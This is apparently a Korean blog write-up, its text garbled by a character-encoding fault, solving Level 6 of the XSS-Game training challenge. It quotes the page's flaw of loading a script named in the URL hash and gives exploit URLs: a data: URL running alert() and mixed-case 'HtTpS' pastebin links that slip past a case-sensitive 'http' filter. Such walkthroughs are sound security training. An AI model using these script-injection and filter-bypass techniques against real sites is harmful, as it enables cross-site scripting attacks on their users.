ν°μ€ν 리 λ·°
μ€λͺ (λ²μ)
볡μ‘ν μΉ μ΄ν리μΌμ΄μ μλ URL λ§€κ° λ³μμ κ° λλ. NET Frameworkμ μΌλΆμ λ°λΌ javascript λΌμ΄λΈλ¬λ¦¬λ₯Ό λμ μΌλ‘ load νλ κΈ°λ₯μ΄ μλ κ²½μ°κ° μμ΅λλ€. "location hash"
μ΄λ λ§€μ° κΉλ€λ‘μ΄ μμ μ λλ€. μ€ν¬λ¦½νΈ λλ κΈ°ν μ μ¬μ μΌλ‘ μνν λ°μ΄ν°λ₯Ό load ν λ μ¬μ©μ μ λ ₯μ΄ URLμ μν₯μ λ―ΈμΉλλ‘ νμ©νλ €λ©΄ XMLHttpRequest μ’ μ’ μ¬κ°ν μ·¨μ½μ±μ μ λ°ν©λλ€.
μ무λͺ©ν: ν μμλ λ°©λ² μ°ΎκΈ° μμ© νλ‘κ·Έλ¨μ΄ μΈλΆ νμΌ μμ²νκ² κ·Έκ²μ΄ μ€ννκ² λ©λλ€. alert().
ν΄λΉ λ¬Έμ μ κ²½μ° URL μ λ ₯κ° μ΄μΈμλ λ³λ€λ₯Έ μ΄λ²€νΈκ° μ‘΄μ¬νμ§ μμ΅λλ€. μ λ¨κ³μμ μΆμ μμ μλλ₯Ό νμ νμ§ μκ³ λ¬΄μμ μ°λ¬λ΄€λ κ²½νμ΄ μκΈ°μ μ΄λ²μλ μΆμ μμ μλλ₯Ό μ°μ μ μΌλ‘ νμ νλ κ²μ μ°μ μΌλ‘ μ§ννμ§λ§ μ½μ§ μμ΅λλ€. μΈλΆμ μ μμ μΈ JS νμΌμ λμ΄μ¬λΌμμ μ±κ³΅μν€λ 건 μ΄μ΄ μ€λλ° λκ° ν κ°μ§ λ¨μκ° λΆμ‘±ν©λλ€.
..
..
// Take the value after # and use it as the gadget filename.
function getGadgetName() {
return window.location.hash.substr(1) || "/static/gadget.js";
..
..
index.html μμ€μμ μ°Ύμ μμμ λλ€. //μ£Όμ λ¬λ¦° κ³³μ ν΄μν΄λ³΄λ©΄ URL μ "#" λ€μμλ static/gadget.js λΌλ νμΌμ λ‘λνκ³ μμ΅λλ€.
μΈλΆμ νμΌμ κ°μ ΈμμΌ λ κ² κ°μ λλμ μμμ§λ§ μ΄κ² # λ€μμΌλ‘ λ°λ‘ μ μΈν μ€μ λͺ°λλ€μ. κ·ΈλΌ /static/gadget.js νμΌ λμ μ μ μ± js νμΌμ load ν΄μ μ€νμν€λ©΄ λ κ² κ°μ΅λλ€.
μ±κ³΅λ°©λ² 3κ°μ§
1. μμ μ μΉ μλ²μ μ μμ μΈ js νμΌμ μ¬λ €λκ³ load νλ€.
2. Data URL Schema λΌλ λ°©λ²μ μ¬μ©, μΈλΆμ λ°μ΄ν°λ₯Ό URLλ‘ ννν κ²
3. pastebin.comμ μμ μ javascript ꡬ문μ μ λ‘λν΄λκ³ 1λ² λ°©μμ²λΌ λΆλ¬μ¨λ€.
2λ² λ°©μμ Data URL Schema λ°©μμ μ¬μ©ν λ μμ μ¬μ§μ²λΌ data:[μλ£ νμ ]:[λ°μ΄ν° λ°©μ]μΌλ‘ ννλ©λλ€. μ μμ μΈ νμΌμ λμ΄μ¬λ¦΄ μλ²κ° μμμ΄ μλλΌλ ν΄λΉ λ°©λ²μ μ΄μ©ν΄μ ν μ€νΈκ° κ°λ₯ν©λλ€.
Exploit Code
https://xss-game.appspot.com/level6/frame#data:text/javascript,alert('xss');
pastebin.com μ¬μ΄νΈλ‘ κ°μ μμ μ΄ μνλ javascript ꡬ문μ ν΄λΉ μ¬μ΄νΈμ μ λ‘λν΄λκ³ "raw" μμμΌλ‘ λ€μ΄κ°μ λμ€λ λλ©μΈ μ£Όμ κ·Έλλ‘λ₯Ό κΈμ΄μ€μλ©΄ λ©λλ€. pastebinμ μ΄μ©ν λ expire μ¦ λ΄κ° μ μΈν νμ΄μ§κ° μ΄μμλ λ§λ£ κΈ°κ°μ λ°λ‘ μ ν μ μμ΅λλ€.
..
..
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
..
..
index.html μμ€λ₯Ό λ€μ νμΈν΄λ³΄λ ν΄λΉ νμΌμ λΆλ¬μ¬ λ "http"κ° ν¬ν¨λμ΄ μμΌλ©΄ μλμ΄ μ λλλ‘ μ€μ λμ΄ μλ€μ. μ무λλ μμμ νμΌμ΄ load λλ κ²μ λ°©μ§νκΈ° μν μλλ‘ λ³΄μ΄μ§λ§ μλ¬Έμ κΈ°μ€μΌλ‘λ§ κ²μ¦μ μ§ννκ³ μμ΅λλ€.
Exploit Code
https://xss-game.appspot.com/level6/frame#HtTpS://pastebin.com/raw/qmLyD5jc
https://xss-game.appspot.com/level6/frame#HTTPs://pastebin.com/raw/qmLyD5jc
'CHALLENGE' μΉ΄ν κ³ λ¦¬μ λ€λ₯Έ κΈ
XSS Challenges 1 (0) | 2020.12.03 |
---|---|
XSS Challenges 0 (0) | 2020.12.02 |
XSS-Game Level 5 (0) | 2020.11.30 |
XSS-Game Level 4 (0) | 2020.11.29 |
XSS-Game Level 3 (0) | 2020.11.28 |